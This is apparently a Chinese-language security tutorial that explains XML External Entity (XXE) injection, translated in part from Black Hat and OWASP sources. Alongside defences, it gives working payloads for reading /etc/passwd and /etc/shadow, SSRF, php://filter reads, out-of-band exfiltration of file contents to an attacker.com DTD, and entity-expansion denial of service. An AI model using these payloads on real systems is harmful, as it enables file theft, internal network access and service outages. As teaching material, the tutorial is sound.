XXE的基本概念和利用方式
本文侧重于对XXE原理和概念的总结,简化了细节性的内容。本文从black hat EU 2013 XML Out-Of-Band Data Retrieval、Out-of-band XML External Entity (OOB-XXE)等优质文章中节选了部分具有代表性的内容进行翻译。在保证术语准确性的前提下,尽量精简。
0x00 参考文献
XML Out-Of-Band Data Retrieval
A4:2017-XML External Entities (XXE)
0x01 概述
XXE
XXE全称XML External Entity Injection,也就是XML外部实体注入。
它是对解析XML输入的应用程序的一种攻击。当配置不当的XML处理器处理包含对外部实体的引用的XML输入时,就会发生此攻击。
XML的作用
XML 被设计用来传输和存储数据,其关注点是数据的内容。 XML 旨在传输信息。要解释XML数据,应用程序需要XML解析器。
XML文档可以是特定类型。您可以通过指定类型定义在文档中声明此类型。XML解析器会在处理文档之前验证XML文档是否遵守此类型定义。您可以使用两种类型的类型定义:XML架构定义(XSD)或文档类型定义(DTD)。XXE漏洞发生在“文档类型定义”中。
什么是DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。 DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,可以包含在使用它的XML文档内部,也可以以独立的DTD文档(*.dtd)文档存在。
所以DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD文档的三种形式:
内部DTD类型:<!DOCTYPE 根元素[子元素声明]>
外部DTD类型:<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
内外部DTD文档结合:<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
在XXE中最常用的是内部DTD类型。
在DTD内,我们可以声明外部实体。
什么是XML实体(ENTITY)
实体是用于定义引用普通文本或者特殊字符的快捷方式的变量。
XML实体几乎可以来自任何地方-包括外部资源(因此称为XML外部实体)。
在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为普通实体和参数实体。
实体的具体分类
预定义:&amp;&lt;&#37;
内部实体:<!ENTITY 实体名称 "实体的值">
外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
内部实体和外部实体统称为普通实体
普通实体的引用方式是&普通实体名;
参数实体:<!ENTITY % 实体名 "实体内容">
参数实体的引用方式是%实体名;
普通实体和参数实体可能是:
内部的(定义在当前DTD中)
外部的(定义在外部资源中)
可能造成XXE的风险因素
该应用程序解析XML文档
实体的系统标识符部分,文档类型声明(DTD)中允许使用受污染的数据
XML解析器配置为验证和处理DTD
XML解析器配置为解析DTD内的外部实体
XXE的影响
本地文件读取
内网访问
主机扫描/端口扫描
远程代码执行(不常用)
拒绝服务攻击
防御
尽可能使用简单的数据格式(如JSON),并避免敏感数据序列化。
修补或升级XML处理器和库。使用依赖项检查器。
在应用程序的所有XML解析器中禁用XML外部实体和DTD处理。
在服务器端使用白名单输入验证,过滤或清理,防止XML文档、表头、节点内的恶意数据。
XML或XSL文件上传功能使用XSD(XML架构定义)验证传入的XML。
SAST根据检测源代码中的XXE。
使用虚拟补丁程序,API安全网关或Web应用程序防火墙(WAF)来检测和阻止XXE攻击。
0x02 利用方式
本地文件读取
当用户的输入在响应中回显,这种XXE被称为基于报错的XXE。
攻击者可以使用XML实体。这是因为您不必在XML文档中定义XML实体。实际上,XML实体几乎可以来自任何地方-包括外部资源(因此称为XML外部实体)。这就是XXE成为服务器端请求伪造(SSRF)攻击的一种类型。
攻击者可以使用URI(在XML中称为系统标识符)创建以下请求。如果将XML解析器配置为处理外部实体(默认情况下,许多XML解析器都配置为处理外部实体),则Web服务器返回系统上的文件,可能包含敏感数据。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&xxe;
</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
当然,攻击者不仅限于获取系统文件。他们可以轻松窃取包括源代码在内的其他本地文件(如果他们知道Web应用程序的路径和结构)。使用某些XML解析器,甚至可以获取目录列表以及本地资源的内容。XML外部实体攻击甚至可以使攻击者向本地网络上的文件发出常规HTTP请求(即只能从防火墙后面进行访问)。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"http://192.168.0.1/secret.txt">
]>
<foo>
&xxe;
</foo>
但是,这种方法在实际应用会受到一定的限制:
XXE仅可用于获取包含格式正确的XML文件或响应
XXE无法用于获取二进制文件
获取的文件必须有足够的权限
无法获取非常大的文件,如
/dev/random
和/dev/zero
,会导致拒绝服务攻击。
XML限制的解决方法
CDATA(字符数据)
访问带有XML特殊字符(如&
、<
和>
)的文本文件
XML解析器将忽略CDATA(字符数据)标记中的特殊XML字符。
<data><![CDATA[ < " ' & > characters are ok here ]]></data>
参数实体
具体方法见通过HTTP进行数据读取
PHP协议包装器
PHP协议包装器是允许访问PHP输入和输出流的I / O流。
攻击者可以使用php://filter
协议包装程序对文件的内容进行Base64编码。由于Base64将始终被视为有效的XML,因此攻击者可以简单地在服务器上对文件进行编码,然后在接收端对其进行解码。此方法还具有允许攻击者窃取二进制文件的附加好处。
请求:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>
&bar;
</foo>
带外out-of-band(OOB-XXE)
一、通过HTTP进行数据提取
前置知识:参数实体
除了通用实体,XML还支持参数实体。参数实体仅在文档类型定义(DTD)中使用。
参数实体以%
字符开头。此字符指示XML解析器正在定义参数实体(不是一般实体)。
前置知识:带外攻击
XXE攻击有两种类型:带内和带外。
带内XXE攻击更为常见,攻击者可以立即收到对XXE payload的响应。对于带外XXE攻击(也称为盲型XXE),Web应用程序不会立即做出响应。
利用带外XXE漏洞的过程类似于将参数实体与带内XXE一起使用,并且涉及创建外部DTD(文档类型定义)。有一个主要区别:使用这种类型的攻击,攻击者需要XML解析器向攻击者控制的服务器发出附加请求。这是读取本地文件的内容所必需的。
原理
攻击者向目标服务器发送恶意的XML请求。
目标服务器上的XML解析器首先处理参数实体,该实体加载本地文件,如
/etc/passwd
。接下来,XML解析器向位于攻击者服务器上的DTD文件发出请求。
目标服务器下载攻击者的DTD,XML解析器处理攻击者的DTD文件后。攻击者DTD中的参数实体会创建一个通用实体。通用实体中包含着一个访问攻击者服务器的URL。该URL中包含本地文件内容(例如:
http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh
)。最后,在构造好URL后,XML解析器将处理通用实体,这将向攻击者的服务器发出包含文件内容的请求。
攻击者在服务器日志上可以看到请求记录,并从中获得目标文件。
以下是攻击者如何利用带外(OOB)技术利用参数实体窃取敏感数据的示例。
请求
POST http://example.com/xml HTTP/1.1 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <data>&send;</data> 攻击者的DTD(attacker.com/evil.dtd) <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>"> %all;
攻击进行如下:
XML解析器首先处理%file
参数实体,该实体加载文件/ etc / passwd。
接下来,XML解析器向位于http://attack.com/evil.dtd
的攻击者的DTD文件发出请求。
XML解析器处理攻击者的DTD文件后,%all
参数实体创建一个名为的通用实体&send
,其中包含一个URL。该URL包含文件内容(例如http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh
)。
最后,在构造URL之后,XML解析器将处理&send
实体,这将向攻击者的服务器发出请求。
攻击者可以在其终端记录请求,并从日志条目中重建文件。
二、通过FTP进行数据提取
三、DNS查询
XXE Attacks — Part 2: XML DTD related Attacks
结论
带内和带外XML外部实体注入(XXE)漏洞非常严重,几乎影响解析XML文档的所有Web应用程序。XXE可用于导致拒绝服务以及从本地服务器窃取系统文件和源代码。攻击者还可以使用XXE对内部网络上的其他服务器发起服务器端请求伪造(SSRF)攻击。
XML Dos攻击
定义一个实体,递归引用。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar "World "> <!ENTITY t1 "&bar;&bar;"> <!ENTITY t2 "&t1;&t1;&t1;&t1;"> <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;"> ]>
或者定义一个大实体,并且多次引用。
如果是Unix系统,可以在DTD中引用外部实体,用file协议读取
/dev/random
文件。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <foo>&xxe;</foo>
这种攻击会使XML解析器内存过载。一些XML解析器会自动限制它们可以使用的内存量。
远程代码执行
RCE可以通过XXE在php应用程序中实现,但是这非常少见。只有目标系统加载了php的Expect模块(默认禁用),才有可能实现。另外,php7不支持expect模块。
XXE在php应用程序中更容易利用。因为php提供了许多URL处理方法,流装饰器和数据过滤器,这会增加攻击面。
默认情况下,php支持外部实体。